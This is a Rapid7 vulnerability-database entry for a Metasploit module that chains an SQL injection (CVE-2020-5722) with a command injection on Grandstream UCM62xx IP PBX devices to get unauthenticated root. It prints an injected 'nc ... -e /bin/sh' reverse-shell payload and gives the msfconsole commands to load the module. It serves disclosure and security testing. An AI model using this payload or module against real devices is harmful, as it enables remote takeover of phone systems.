Rapid7 Vulnerability & Exploit Database

Grandstream UCM62xx IP PBX sendPasswordEmail RCE

Back to Search

Grandstream UCM62xx IP PBX sendPasswordEmail RCE

Disclosed
03/23/2020
Created
01/25/2022

Description

This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 ` This module affect UCM62xx versions before firmware version 1.0.19.20.

Author(s)

  • jbaines-r7

Platform

Linux,Unix

Architectures

cmd, armle

Development

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
msf exploit(grandstream_ucm62xx_sendemail_rce) > show targets
    ...targets...
msf exploit(grandstream_ucm62xx_sendemail_rce) > set TARGET < target-id >
msf exploit(grandstream_ucm62xx_sendemail_rce) > show options
    ...show and set options...
msf exploit(grandstream_ucm62xx_sendemail_rce) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.

– Jim O’Gorman | President, Offensive Security

;